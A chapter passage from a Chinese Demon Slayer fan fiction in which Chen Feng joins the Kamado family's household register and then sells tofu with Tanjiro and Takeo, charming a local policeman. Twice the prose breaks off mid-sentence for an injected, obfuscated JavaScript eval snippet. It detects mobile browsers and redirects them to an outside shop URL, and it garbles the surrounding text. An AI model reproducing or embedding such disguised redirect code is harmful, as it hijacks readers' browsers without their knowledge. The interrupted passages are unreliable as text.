灶门一家是好,但是不要忘了霓虹那该死的户籍制度,她加入灶门家的户籍,只不过是从被社会拿捏,变成了被灶门家拿捏,这代表着以后,灶门家的户主可以掌控她的一切,包括她现在和以后的财产,甚至是决定她的婚姻。 这么一想,陈凤就觉得焦躁,这种不把女人当人的情况,等经过了战争以后,社会需要女人来维持,才慢慢转变。 但是她也不能为了自己,从而盼着战争到来啊!那不是傻der吗! “哎,愁人。” “怎么了?” 是炭治郎,陈凤抬眼看到炭治郎关切的样子却懒得回应,因为她现在心情非常烦躁,再加上炭十郎刚刚明确说了,炭治郎就是以后灶门家的户主…… 一想到她的选择会直接将自己的人生交给眼前的小屁孩,她就忍不住想要发火。 陈凤一脸的无精打采,让炭治郎特别担心,他闻到从陈凤身上散发出的烦躁,混乱,以及……对自己的厌恶? 炭治郎瞬间胆战心惊,他既惊恐又受伤,他不明白自己做错了什么,让陈凤对他做出这种反应,但炭治郎不是那种回避问题的性格,他从来都是有困难会迎难直上的类型。 “我看爸爸都回房间休息,却不见你的人影,便知道你还在这里。” 炭治郎搬了个小凳子坐下,看着陈凤认真的询问:“到底发生了什么?如果需要的话,我一定会帮你的。” 陈凤看着眼前真诚,眼中没有一丝虚伪的男孩,忽然询问:“炭治郎,如果,我是说如果,你很缺很缺钱,那么你会怎么做?” “诶?” 炭治郎歪了歪头,然后一本正经的回答:“我会干更多更多的活,努力多挣些钱去。” 陈凤笑了笑,继续问:“那如果,有一天有一个人,会给你非常非常多的钱,你会怎么做?” “我当然不会收啊。”炭治郎一脸莫名,他很奇怪今天陈凤为什么有这么多古怪的提问:“万邦有句话,无功不受禄,我虽然没读过很多书,但还是知道的。而且即便我有恩于对方,我也不会因为恩情去像对方索取什么,所以即便有人给我再多的钱,我也不会要的。” “真像是你能说出的话。” 陈凤笑了下,而后询问:“那么,如果有一天,你的妹妹祢豆子,在街上被贵族老爷看上了,要抢她回去,你会如何?” “我会和他拼命。”炭治郎回答的没一一丝迟疑,他那双暗红色的眼睛满是认真,这时候陈凤才发现,少年的眼眸,真的很像很像她曾在野生动物园中观摩到的棕熊的眸子,看上去纯洁憨厚,实则一切不过是为了更好的掠食而伪装的模样。 “那你不怕连累到其他的家人吗?”陈凤一脸不信,以一种近乎挑衅的语气问。 “如果真有那一天,我的家人,会和我一起冲上去。” 炭治郎看着陈凤,完全没有遮掩语气中的冷意和肃杀,对于炭治郎而言,家人是他的逆鳞,当触及到他的逆鳞时,他就如同结束冬眠的熊一般,暴露出所有的凶狠和攻击性。 “不死不休?” “不死不休!” 看着这样的少年,陈凤忍不住笑了,她笑得肚子都要疼了,这样的反应让原本还一脸杀意的炭治郎瞬间懵了,他杵在原地,完全不知道应该如何反应。 “那个……阿凤?”炭治郎害怕陈凤笑跌倒了,便忍不住出声想打断她。 “没事,我没事。” 陈凤擦了擦眼角沁出的泪花,她看着炭治郎笑道:“我只是没想到你还有这么凶的一面,看不出啊,人不可貌相。” 对陈凤的调侃无所适从,炭治郎只能憨笑着摸摸后脑勺,不知如何回答。 “我刚刚在思考一件事,因为你父亲的提议,我到刚刚还没有完全下定决心呢。” “是什么?可以告诉我吗?” 见陈凤有要和他说明缘由的心思,炭治郎眼前一亮,立即追问。 “你父亲问我,愿不愿意加入你们家户籍。” 听到陈凤的话,炭治郎眼前一亮,他兴奋道:“这是好事啊,爸爸竟然愿意?太好了阿凤,这样你就不用躲躲藏藏的了,以后想去镇子就去镇子,再也不用害怕警察了。” “是啊,是啊。”陈凤笑着点头,随即说出的话,让炭治郎僵在原地。 “但是,如果我加入你们家,那以后,你就是家主了,家主拥有其他家庭成员的支配权,我害怕,哪天我惹你不愉快,你把我嫁给老男人换钱。” 陈凤虽然在笑,但是她的语气却是冰冷的,炭治郎此时终于恍然大悟,他瞬间洞悉了陈凤的不安,也理解了她的情绪为何如同山林中的风暴一般惊涛混乱。 虽然只有十一岁,但过早撑起家中责任的炭治郎早就明白这个世界的各种规则,他虽然生活在山中却并不是毫无见识,他穿梭于市井,每日来往于各户人家的街道里,回避官员的刁难,躲开流氓的暴力,同时也游刃有余的应付着每一位客户的挑剔。 就是在这样的环境中,炭治郎还能让接触到的人对他赞不绝口,足以说明他不是个笨蛋。 炭治郎此时心里已经有了决断,他看着笑容依旧的阿凤,明白自己现在不论说什么都不过是一些空话,这些空话是没法让阿凤满意的。 “将来的事情,谁又能说的好呢。” 炭治郎挠了挠头,最终选择坦诚:“阿凤,我不知道你刚刚和我爸爸说了些什么,但我能看出你的担忧不是现在,而是未来,但未来的事情……我虽然不敢保证……” 顿了顿,炭治郎微微一笑,在陈凤惊愕的神色中,直接的,强势的,将她冰冷的手抓过,捂在自己的掌心中。 热意通过双手不断的涌入四肢百骸,这时候陈凤才发现因为繁杂的心事,她根本没注意到身体的冷意,直到炭治郎握住她的手为止,她才发现自己的身体在颤抖,因为不安,因为寒冷。 陈凤抬眼看向面对着自己的男孩,他还没长成少年,但手中已经满是劳作的痕迹,可陈凤在与那双暗红色的眸子对视时,却发现他并没有被生活的奔波压垮,他仍然赤城。 “请你看着现在的我。”炭治郎看着陈凤,再一次开口:“请你看清楚,我到底是一个什么样的人,是否可靠?是否信得过?” “我还没有长大,我也说不好以后我会成为什么样的人,但我有一点我可以坚信,我绝对不会对我的家人,我的朋友生出任何不好的心思! 所以你可以时刻关注我的行为,我的决对,以现在的我作为你判断和预测未来的依据,是不是就能让你感觉安心一些呢?嘛,我是这么认为的……” 陈凤低头陷入了思考,她不知道,对面的男孩因她陷入思考的静默变得有多紧张。此时的炭治郎双眼紧紧的盯着陈凤蹙起的眉头,连气都不敢喘,他站得笔挺,就仿佛一个等待宣判的士兵一样紧张。 “是啊,未来的事情谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007237|194048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又能说的清楚呢,最重要的是现在。” 听到陈凤的话,炭治郎露出一个惊喜的笑容:“那你是决定了吗?” 但陈凤却只伸了个懒腰,对炭治郎道:“我累了,得先休息了。” “诶?” 陈凤的转变太过迅速,炭治郎完全跟不上她的节奏,看着陈凤伸着懒腰离去的背影,炭治郎伸手,他想问却又不敢多言。 陈凤不经意扭头,就看到炭治郎还在那欲言又止的干坐着,就忍不住嗤笑一声:“笨蛋。”而得到的,是炭治郎憨笑挠头的傻样。 陈凤摇摇头,不去管他,直接回去睡觉了。 而炭治郎则是因为陈凤暧昧的态度魂不守舍了一宿,因此第二天早上起来,他的精神特别萎靡,他心里特别在意陈凤入籍的事情。 说真的,单论私心的话,炭治郎是真的希望阿凤能够答应,甚至隐隐期待着…… 咳,炭治郎压下心中的那一点点小涟漪,他摇头告诫自己不能不磊落,要完全站在阿凤那边考虑。 阿凤担忧的事情根本不会发生,他知道自己和家人的品德都不是那种卑鄙的人,但是又理解阿凤的担忧是完全正确的。 在穿梭于街市卖炭的时候,炭治郎遇见过很多腌臜的事情,而这些他从没和家中人说过,他其实是知道的,不是每个家庭都如他们家那般和谐美满,正因为如此,炭治郎更觉得阿凤应该入籍他们家。 总归他们家一定会对阿凤好的,而其他家庭可就说不定了! 可是,要怎么说服她啊。炭治郎苦恼的叹气,这段时间他也凭日常的相处,摸清楚了陈凤的性格,因此炭治郎知道,如果陈凤自己不愿意,谁都说服不了她。 或许会更糟…… 炭治郎有预感,如果陈凤最后想不开,仍然认为入籍灶门家不是一个好选择,那她很有可能铤而走险,去干一些以他的认知,完全无法想象的事情。 想到这里,炭治郎就觉得后背发毛。 怎么办啊!怎么办! “刷拉!” 就在炭治郎焦躁难安时,门拉开的声音唤回了他的注意力,随即他惊讶的看到了父亲的身影。 “这,爸爸你是要出门吗?” 炭治郎看着一身正式打扮的炭十郎,十分讶然。自从炭十郎身体不好之后,炭治郎已经很少见到他父亲打算出门的样子了。 炭十郎看了自己的长子一眼,随即笑了笑:“是啊,我和阿凤去办些事情。” 炭治郎闻言心跳都漏了一拍,而这时,他听到了一声轻快的呼唤。 “叔叔,我准备好了,咱们现在就走吗?” 炭治郎看着换上了一身洋服的陈凤,脸没由来的发烫,此时陈凤的穿着,和镇子上那些上西洋学校的大家小姐没有任何区别,甚至更加时髦。 她穿着棕色的羊绒大衣,内里的上身穿着毛线的编织米色上衣,高腰的格子裙将她的腰掐得很细,裙摆到脚踝,露出质量精致的皮质长靴。 如阿凤所说,她真的就是个大小姐啊。 陈凤一边将配套的小礼帽戴在头上,一边瞥了一眼傻掉的炭治郎,忍不住嘲笑:“怎么,傻了?” “啊,没啊……” 虽然隐隐已经猜测到了,但炭治郎还是压抑着不断加速心跳询问:“你们这是要去?” “还说没傻?”陈凤瞥了炭治郎一眼,随即走到炭十郎身边搀扶住这位长辈:“当然是帮我入户。” 当炭治郎从陈凤的口中得到切确的肯定后,他的嘴角抑制不住的上扬,心中的喜悦仿佛泉眼中的清水般汩汩冒出。 陈凤没管炭治郎怎么想,她搀扶着身体虚弱的炭十郎往山下走去,临行前,她忍不住回头叮嘱。 “你在家记得别偷懒,把豆子泡上,明天开始,我就能和你一块上街做生意了。” “是!我肯定好好干!” 炭治郎这副被委以重任的模样直接逗笑了陈凤和炭十郎,陈凤嬉笑过后就回头继续向前看,而炭十郎则是意味深长的看了眼自己的儿子。 见长子因为自己的目光而全身僵硬,老父亲只是笑笑,最终什么都没说。 13. 第十三章 第十三章 “诶呀,怎么这么不讲究啊,过来!” 看着小脸被蹭上灰黑的竹雄,陈凤赶紧拿过帕子给他脏脏的小脸擦干净,虽然过程中竹雄略有抗拒和挣扎,但最终还是任由陈凤摆弄了。 “真是的!” 竹雄用力推开陈凤,此时的小男孩满脸通红,竹雄虽然才8岁,但是他已经有很强的性别意识了,他知道陈凤不是自己的亲姐姐,所以对陈凤亲密的举动会非常无措且羞恼。 “你不要随随便便碰我!”竹雄像个小豹子一样,对着陈凤呲牙,而陈凤非但不介意,反而觉得他可爱极了。 于是陈凤忍不住伸手再捏了一把竹雄的脸蛋,无视他跳脚的样子,在一旁哈哈大笑。 这个年纪,爱装高冷的小男孩最好玩了! 眼看着再逗下去真的没法收场了,陈凤这才轻咳一声,正经道: “你记得,咱们这次是去卖吃食,而不是去卖炭的,想要人买你的吃食,必须得让自己看上去干净卫生才可以。” 说着,陈凤笑了笑:“为了咱们一家,能在新的一年过个好年,你要和我一起辛苦一阵了,能做到吗?” 竹雄哼了一声,有些臭屁的点头:“不用你说,我也会努力工作的,倒是你,可千万别干一会儿就喊累。” 陈凤配合的敬礼,用哄小孩的语气保证:“是,是,竹雄大人,我知道了~” 被当成小孩看的竹雄又炸毛了,他咬牙切齿的看着陈凤:“别把我当小孩,听见了没!” 可恶,我明明比哥哥小不了几岁,这个女的对自己怎么就是一副哄小孩的态度,反而对哥哥那么有商有量! 竹雄郁闷的踢了踢地上的石子,虽然他也知道哥哥是哥哥啦,但是好不甘心,他也长大了,能帮家里干活了啊。 “准备好了吗?” 炭治郎已经将豆腐搬到车子上固定好了,见陈凤和竹雄还没出来,便过来询问什么时候出发、 炭治郎看着弟弟郁闷的模样不禁一笑,而后走上前,拍了拍弟弟的肩膀,用郑重的语气道:“今天是阿凤第一天出门,哥哥没法一直跟着,所以她就拜托你照顾了。” 被长兄用如此郑重的语气拜托,竹雄瞬间开心,他挺起胸膛非常用力的点头:“放心吧,哥哥,我会看着她,不让她乱跑的。” “啊。”炭治郎见弟弟开心起来,笑得明媚,他点头道:“真是幸亏有你在了,竹雄。” 竹雄哼了一声,抱着胳膊道:“没什么啦,我应该做的。”被哥哥夸了诶,开心~ 陈凤看着眼前上演的哥哥拿捏弟弟不费吹灰之力的一幕,忍不住偷笑,她可不敢再被竹雄发现自己在笑他了,不然一会儿使唤竹雄干活的时候,就该使唤不动了。 炭治郎抬头,就对上陈凤笑意盈盈的眼眸,他弯了弯嘴角,再次询问:“咱们能出发了吗?” “走!” 陈凤大手一挥,带着灶门兄弟踏上新征程。 为了干活,陈凤没有穿自己的衣服,而是找了炭治郎的短衣和乘马袴,请葵枝帮忙改合身了,不然她穿着一身洋装或者精致的汉服,去大街上做买卖实在是太奇怪了。 为了保暖,陈凤在里面加了羊绒衫,这就已经足够了,霓虹这边的气温即便是冬天也不会超过零下三十度,而今天或许是为了预示陈凤的生意会特别兴隆,阳光十分充足,所以不是很冷。 因为炭治郎今天拉的炭比较多,再加上今天除了炭之外,还有豆腐要卖,因此他们直接选择去了更远的镇子,那里更加繁荣,生意也会更好做一些,如果有剩余的,再等返程时拉到山脚下的村子去卖。 这一次进城,因为有了身份的关系,陈凤变得十分放松,因此,等进了城再遇上警察,陈凤也不怕了。 十分巧妙的,这次遇到的警察,还是上次的那位。 陈凤笑了笑,她回头示意炭治郎和竹雄在原地等待,自己主动上前,与上次那位警官问好。 “上午好,警察先生。” 那个曾经查过陈凤的警察先是一愣,他定睛一看才发现,这个身着男装的小鬼是个熟人,是上次那位给他留下深刻印象的大小姐。 “上午好,小姐。” 神色刻板的中年警察也礼貌的对陈凤回礼,他似乎是想要扯出一个笑容,但可惜由于他本人是个严肃的不苟言笑的性格,即便努力,也无法让神色柔和一些。 “还没自我介绍,您可以称呼我为凤,现如今寄宿在云取山的灶门家。”说着,陈凤微微回身,露出灶门家的兄弟,向警察介绍道:“那位是家中长子炭治郎,次子竹雄。” 炭治郎和竹雄在陈凤介绍到自己时,非常配合的鞠躬,这行为让警察先生原本严肃的神情略微放松。 其实,在这个年代,是不允许女性主动上前和男性打招呼的,但是这位警察曾经见过陈凤,陈凤知道她在警察心中的形象是个任性的大小姐,再加上她刚刚问过炭治郎,知道这位警察先生虽然表面严肃,但其实是个心地善良的人,所以陈凤便直接上前了。 而警察虽然没料到陈凤竟然和自己主动攀谈,这个年代相对动乱,如果有陌生人贸贸然搭话,不论是谁都会有紧张感,但幸好陈凤自始至终都表现得十分敞亮,且干净利索的将他们的来历都报了出来,所以警察的态度还算客气:“鄙人本田南次郎,幸会。” 本田警官看着陈凤一身男装打扮的样子,面露迟疑,他有点搞不懂这个大小姐的行为。 穿男装的这个行为对女孩子而言是十分不得体的,如果是寻常家的女孩一定会被长辈狠狠责罚,而眼前这位小姐完全不以为耻,她甚至在察觉到自己打量她的衣着时,非常自信且毫不避讳。 这种性格,这种姿态,和霓虹的女孩完全不一样。但是本田南次郎在联想到这位大小姐留洋的身份后,便想通了。 这位凤小姐的家中是个亲西派,所以凤小姐也是一副留洋女子的做派。 “小姐,您这次也是来镇子上游玩的吗?” 身为警察,本田南次郎还是例行公事的询问一番。 “不。” 陈凤摇了摇头,她一副兴致盎然的神色对本田南次郎道:“我是跟着我的两个表兄弟一起来的,因为年关将至,家里长辈做了些副食品希望能换些钱,我觉得有趣,就跟着一起来了。” 现如今陈凤的入户身份是灶门家投奔的表亲,当时陈凤还纳闷来着,因为炭十郎原本是说要收陈凤为养女的,但办理入籍时又改口了,当时陈凤还纳闷,但想了想又觉得无所谓了。 亲养女和表亲投奔,好像也没区别,只要有户籍就行了。 啊,真是个大小姐啊。 本田南次郎看了眼灶门家的两兄弟,再看了眼陈凤,确定了陈凤的身份地位更高,而且她的父母是健在的,她不是因为双亲去世,从而投奔亲戚家的孤女,不然陈凤不可能还是这副肆意妄为的模样。 “是什么副食?” 见本田南次郎主动问询,陈凤眼前一亮,她立即笑着招呼本田南次郎来到小推车前,将竹编的盖子掀开,露出泡在水中的雪白豆腐。 “这是我们家特别研制的炭火豆腐,因为灶门家世代烧炭祭祀火神的关系,积累下来,灶门家也得到了火神的庇护,因此我们烧制的豆腐带着一种其他店家没有的风味,您瞧,我们家的豆腐是不是比其他您吃过的豆腐看上去更加白净细腻?这正是因为火神的庇佑,在熬制豆浆的时候有神明助力,所以才能得到这么完美细腻的成品!” 陈凤将自己的豆腐吹得天花乱坠,旁边的灶门兄弟在一旁都听愣了。 大哥…… 竹雄和炭治郎对视一眼,兄弟两个默契让他们此时能够无声的交流。 咱们家祭祀的火神有这么厉害吗? 炭治郎瞥了弟弟一眼,而后垂眸,站在原地强迫自己神游天外,他害怕自己的注意力要是一直放在阿凤的身上,他会忍不住露出心虚的表情,如果这个时候他给阿凤拆台的话,别说警察先生了,阿凤第一个拆了他。 “哦?还有这种说法。” 本田南次郎被唬得一愣一愣的,语言是拥有魔力的,人的气场也是,在说服他人的时候,先要让自己相信,而这一点在陈凤身上体现的淋漓尽致。 灶门家就是有火神庇护啊,而火神,不论在哪种文化里,都和吃食有关,灶门家每年都祭祀火神,陈凤没说谎,他们家豆腐世界第一,也是当仁不让的事实! “是啊。” 陈凤自信满满的点了点头,而后拿一块分好的豆腐,用早就准备好的稻草编成的方形小盒装好打包。 陈凤恭敬的双手奉上:“本田先生,请您尝一尝我们家特别制作的豆腐吧。” 本田南次郎一愣,他没想到陈凤还没开张,便乐意送出一份豆腐,他心下觉得这位大小姐并不是那种不通人情世故的,但…… “很抱歉,我不能收。” 本田南次郎义正言辞的拒绝,他是个刻板的性格,虽然这年头警察从小商贩身上刮取油水是常态,但本田南次郎一般不会这么做,因为他觉得这样会给提携他的贵人添麻烦,更何况还是不认识的人主动送出的东西。 她到底在图谋什么呢?本田南次郎忍不住想。 陈凤心思一转,随即又了然,这位本田先生看来真的和他的外貌一般难啃。 “小姐,还请你拿回去吧,私自受贿,与我的身份不符。”本田南次郎见陈凤迟迟不动,便再次强调道。 陈凤直起腰板,微微一笑,她并没有因为本田南次郎的拒绝而难看,反而露出了敬佩的笑容。 “我知道,本田警官是一位尽忠职守的人,若是没有您这样的人在社会的背后默默奉献,尽心尽力的维护城市的治安,我想这个镇子绝对没有现在这般井然有序。这一切都是您与您同事兢兢业业维持治安的功劳,我身为普通民众,对您所做的一切十分感激。” 现如今警察署不是独立部门,它属于是行政机关的下属单位,所以警察的地位就是狗腿子,谁都能对他们呼呵几句,所以陈凤此时的马屁对这位严肃的警察先生简直是如听仙乐耳暂明。 怎么也算是公职人员,却总是被上面的人瞧不起,而现在,从民众的口中得到了真挚的感谢,谁都会动容的,就算是刻板的本田警官也是如此。 “不,这是我们应该做的。”本田南次郎必须对陈凤改观,他先前其实非常嫌弃陈凤身为女孩子一点都不得体,但在陈凤说完那番话后完全变了。 真不愧是大小姐,说话都如此动听。 “我身为一个普通人,实在是没什么能为你们这些背后英雄做的,因此这豆腐只是我的一些小小心意,聊表感恩之情。” 说着,陈凤再次递上豆腐,或许是仍然害怕本田南次郎不收,她又补充道: “还请您不要嫌弃,若是觉得好味的话,多多与亲朋好友美言几句,捧场我们的生意。” 见陈凤的态度如此诚恳,本田南次郎终于不再如一开始那样铁面无私,他思索片刻,选择了接受陈凤的礼物。 “您都如此说了,鄙人若再推脱,便显得太过不近人情了。” “哪里哪里,您客气了。” 说着,陈凤露出一个不好意思的笑容,小声道:“若是可以,还有件事想麻烦您,我们家虽然有行商的牌照,但却不知道这个牌照是否也允许我们经营一些副食小生意呢?若是还需要办理牌照,我们应该去哪?” 本田南次郎闻言,脸上罕见的露出一丝笑意,他看了眼炭治郎挂在车上的牌照笑了笑:“你们只带了两板豆腐?” “是的。” “那便只能算是普通的农副食品,不超过一百元的收益其实是不用交税再次办理牌照的。”说着,本田南次郎沉吟一声:“这样,我给你们批个条子,要是有其他的警官或者管理员来查你们的牌照,拿着它就能证明你们是合理的商贩了。” 霓虹这边对行商的收税办法,是让他们每年都去监管部门办一个牌照,办牌照的时候顺便把一年的税钱交了,如果不交税就没有牌照,而没有牌照还敢走街串巷的卖货,那下场就是被警察或者是巡逻人员扣下,罚得连底裤都不剩。 而且每个牌照还是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007238|194048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些区别的,炭治郎车子上就挂着牌照属于卖杂货的,收的税钱比较少,如果是卖药卖酒的行商,那他们办理牌子的税钱可就多了,副食品其实也可以算在杂货中,但这个界定非常模糊,如果遇见不怀好意的警察刁难,是非常有可能将他们以不办牌照,不叫税务的罪名抓走的。 但现如今,本田南次郎愿意给陈凤等人走后门开条,到时候其他警察明白,炭治郎他们是自己同事罩着的,也就不会多说什么了。 “那可真是多谢您了!” 陈凤惊喜的鞠躬,身后的炭治郎和竹雄也是如此。 这一幕让本田南次郎忍不住勾起嘴角,他摆了摆手,示意陈凤等人不需要这么客气。 “好了,你们去忙吧,我也该例行巡逻检查了。” “是,您辛苦了!” 看着本田南次郎远去的背影,陈凤这才扭头,向炭治郎甩了甩手中的纸:“这还真是意外收获啊,没想到你的鼻子真这么灵敏。” 竹雄看着笑容明媚的陈凤,心中忽然有了一种陌生感和距离感,小小的他不明白,为什么大家都看上去差不多,那个警察却对陈凤如此的和颜悦色,明明他曾经是见过那些警官的,但是竹雄从未想过上前去和那些家伙照面。 就连哥哥也一样,哥哥即便再擅长交友,但也仍然会躲着那些警察走,但是凤姐姐却完全不一样,她竟然敢主动上前招惹那些人,而且那些人竟然还如此和颜悦色的对她。 可是,可是…… 竹雄不着痕迹的打量眼自己身上的衣服,又看了看陈凤,明明此时此刻他们穿的毫无区别,凤姐姐身上的衣服还是哥哥的旧衣改制的,甚至,她还是个女孩子啊? 竹雄见过其他镇子上的女孩的,如果她们随意的和陌生人说话,是会被家里教训的,为什么呢?为什么凤姐姐,这么不一样? “喂!” 竹雄无法自己给自己答案,他便下意识的对陈凤开口,但性格别扭的他,却又马上后悔了。 我为什么要和她说话啊,她肯定会嘲笑我吧…… 竹雄的别扭自然被陈凤看在眼里,但她没有主动给这个别扭小男孩台阶下,只是静静的看着他,想着这小子到底什么时候能够开口。 “竹雄。” 炭治郎看了眼陈凤瞬间就明白她的打算,便微笑着出声提醒弟弟:“想要寻求答案,虚心求教不丢人的。” 竹雄看了眼自己的哥哥,在哥哥温和的鼓励下,最终才下定决心,咬咬牙对陈凤道:“凤……凤姐姐,我想知道,你为什么,能和那个警察……” 说到后面,竹雄也茫然,他有诸多疑惑,但却不知道要从何问起。 “你想问,为什么那位警察先生对我从一开始的冷硬戒备,到后来变得和颜悦色?为什么我一开始送那个警察礼物他不收?但之后又收了?” 竹雄点了点头,他眼睛亮亮的看着陈凤,心中一下子服气了。 她竟然知道自己心中的想法?明明自己都不知道如何表达,这个女……凤姐姐,真的好厉害啊! “嗯……这个问题还真是复杂,那我就先说最重要的一点吧。” 陈凤对炭治郎和竹雄呵斥道:“挺胸!抬头!立正!双肩向后打开,收腹,提臀,眼睛向前看!” 炭治郎和竹雄下意识的站得笔直,看着这两个被自己训得和新兵蛋子一样的哥俩,陈凤就忍不住想笑。 “就是这样,看上去精神多了。” 不知道是不是因为社会风气的关系,霓虹人走路的时候特别的小心翼翼,他们的肩膀是下意识的缩着的,看人的时候会不停的点头哈腰,带着一种自然而然的讨好。 “想要明白为什么那位警察先生对我非常客气?那就先从体态开始吧,以后,你们不论遇到谁,都记得和我一样,说话时盯着对方的鼻子嘴巴看,脖颈背脊就算是鞠躬也不能塌下去。” 现在说太多没有用,与人交流这门学问陈凤自己都还只是半吊子呢,所以现在一股脑的将自己知道的东西告诉他们,他们也摸不着头。 “反正现在,你们两个只要知道,做生意这种事,如果能和附近管事的搞好关系,会非常有好处就是了。” 陈凤吹了吹手上的条子,笑道:“你瞧,一块豆腐,能省咱们不少事呢。” 竹雄对陈凤有些不服气,他嘟哝一句:“可你怎么知道,那个警察会收,并且还会帮你啊。” 陈凤耸了耸肩:“我也不知道他会不会收,我甚至不知道我贸然上去和他打招呼他会不会理我,糟糕点的,我甚至可能会被他训斥,让我滚远点。” “那你还……” 竹雄张了张嘴一脸震惊,一旁的炭治郎也是。 “我还以为你知道对方一定会帮你呢。”炭治郎一脸不可思议,因为刚刚他在阿凤身上闻到的,是一股让人忍不住信服的自信。 是的,她非常自信,认为那位警察先生愿意和她攀谈,这才才迎上去的,而现在…… 炭治郎恍然,原来阿凤其实不知道那位警察的态度吗? 陈凤对炭治郎点头,理所当然道:“当然了,我和对方非亲非故,怎么知道对方能不能帮我,是你刚刚安慰我说,别害怕,那个警察不是坏人,我才决定一试的。反正他只要不打我,就算是把我骂走,我都没有任何损失,不是吗?” 是的,刚见到本田警官的时候,炭治郎害怕陈凤紧张,便说他刚刚闻到了,那警察只是看着凶,但却是个好人,炭治郎的本意是想安慰陈凤,谁知道陈凤这么头铁,不躲还主动上去拉关系。 “竟是这样……”炭治郎咋舌,为陈凤的大胆。 “是啊,就是这样。” 说着,陈凤又用探究的眼神看了眼炭治郎,而后赞叹:“我先前还不信,这次我是服了,没想到,你的鼻子真的能闻到其他人情绪的味道诶,炭治郎,你可真是我的大宝贝。” 噌! 炭治郎的脸一下子就红了,他现在满脑子都回荡着刚刚陈凤的那句,你是我的大宝贝。 而陈凤可没注意到炭治郎的异样,她现在满脑子想着要大干一场! 14. 第十四章 第十四章 说实话,做生意根本就不是什么轻松的活计,做生意是要吆喝的,不然没人知道你卖的是什么,所以这一路上,陈凤都扯着嗓子叫卖,来吸引潜在客户过来购买。 灶门家的推车其实挺沉的,它是实木结构,而为了保存豆腐,尤其是嫩豆腐,不让它破碎,豆腐箱子里要多加些水泡着,因此运输豆腐时的重量就更重了。 虽然说炭治郎已经将车子上的炭都卸了下去,只剩下两个豆腐箱,但陈凤推起来仍然很费劲。 但是想到能够挣钱,她就完全不在乎了! 今天说什么都得把这两板豆腐卖了回血!为了小钱钱,陈凤直接豁出去了! “有得啦些,米得啦些!”瞧一瞧看一看啊。 “好吃的嫩豆腐,用顶级的炭火熬制的豆浆,配上档次上乘的卤水,历经九道工序,层层熬制,这才完成的世间顶级的炭火豆腐!来啊来啊,快来尝一尝啊!好吃的嫩豆腐,洁白如玉的嫩豆腐!” “传承十三代,炭火世家精心研制的炭火豆腐呦!吃了我们家的豆腐,女孩越长越水灵,肌肤如雪,白如脂!男孩越来越聪明,身姿挺拔,壮如山啊!” 跟在陈凤身边帮着陈凤推车的竹雄脸蛋红红的,实在是陈凤太敢说了,他就没见过哪个商贩这么吆喝的。 一般卖豆腐的,顶多说一些:“卖豆腐,新鲜好吃的嫩豆腐。”这就够了,有需要的人自然会来买,但是陈凤不一样,她的吆喝词就跟唱戏似的。 不过这样的吆喝虽然让竹雄觉得难为情,但也成功的吸引了一些街坊。 “谁在外面喧哗啊?” “听着好像是卖豆腐的。” 家中劳作的主妇们好奇的从家中走出来,惊讶的看到吆喝着卖豆腐的是一个漂亮的女孩,那女孩穿着朴素,甚至明眼人都能看出来,她身上的衣服显然是家中兄长的旧衣改小了给她穿的,可即便穿着不得体的衣服,仍旧难掩那姑娘的明媚。 这是一个笑起来十分爽朗的姑娘,说真的,在霓虹这边将爽朗这个赞美词用到姑娘身上很不合适,但这个叫卖豆腐的姑娘却是个例外。 那些因看热闹从而出来观察的街坊,并没有第一时间上前询问那女孩叫卖的豆腐,事实上那些街坊不论男女,看卖豆腐女孩的眼神中,都带着一丝丝耐人寻味的打量。 一个女孩子怎么能出来做生意?这成何体统啊. 诶呀,竟然还穿着男装,家里显然是揭不开锅了吧。 还好,我们家就是再不济,也不会让自己家的姑娘抛头露面这么辛苦。 四面八方传来的视线让竹雄觉得不安,他先前和哥哥出来卖炭的时候,没遇见过这样的情况啊,那种眼神,那种饱含让人十分不舒服情绪的眼神,和那些少爷小姐的高傲不屑完全不同的眼神,实在是让人坐立难安 即便竹雄知道,这些眼神不是针对自己的,但他仍然感到不适。 竹雄忍不住担心,他抬眼悄悄打量陈凤,好害怕她哭出来。 如果凤姐姐被那群人弄哭,那我一定饶不了那些家伙! 小小的竹雄只觉得非常愤怒,他像个小豹子一样,怒瞪那些看戏的人,他已经做好了准备,只要陈凤发号施令,他就撸起袖子往外冲和那些人拼了! 然而,陈凤没有。 面对那些盯着她窃窃私语,迟迟不肯上前的街坊,她露出的更灿烂的笑容。 这条街是居民街,现在这个时间点,男人都出去干活了,因此留在家中的大部分,都是家庭主妇。 这些已婚妇女虽然爱说人长短,同时身为女性,她们会不自觉的对走在叛逆道路上的陈凤排斥,用规训自身一辈子的经验,去批判陈凤的与众不同,但这些女人,却是陈凤最好的顾客。 这些家庭主妇终其一生都在为家人付出,所以,只要抓住她们的痛点,陈凤的豆腐就不愁卖! “来,瞧一瞧看一看,都是今天新鲜现做的嫩豆腐哦!” 陈凤扫视一圈街坊,随即,和一位年轻面嫩的新媳妇对上了视线,她眼前一亮,而后上前一步招呼道:“这位漂亮的小姐,我瞧您一副将要外出的打扮,一定是为了去买晚饭的食材吧?要不要看一看我的豆腐?这可是可遇不可求的好品质啊。” 年轻的新媳妇面嫩,她没想到陈凤上来就直接攻击,因此一时之间都不知道如何反应了。 “啊,那个……”这个年轻的媳妇面上一红,想要拒绝,但是陈凤却已经上前,虽然没有肢体接触,但是陈凤却不断的挥舞着手臂,用动作暗示,牵引着那新媳妇来到她的推车边。 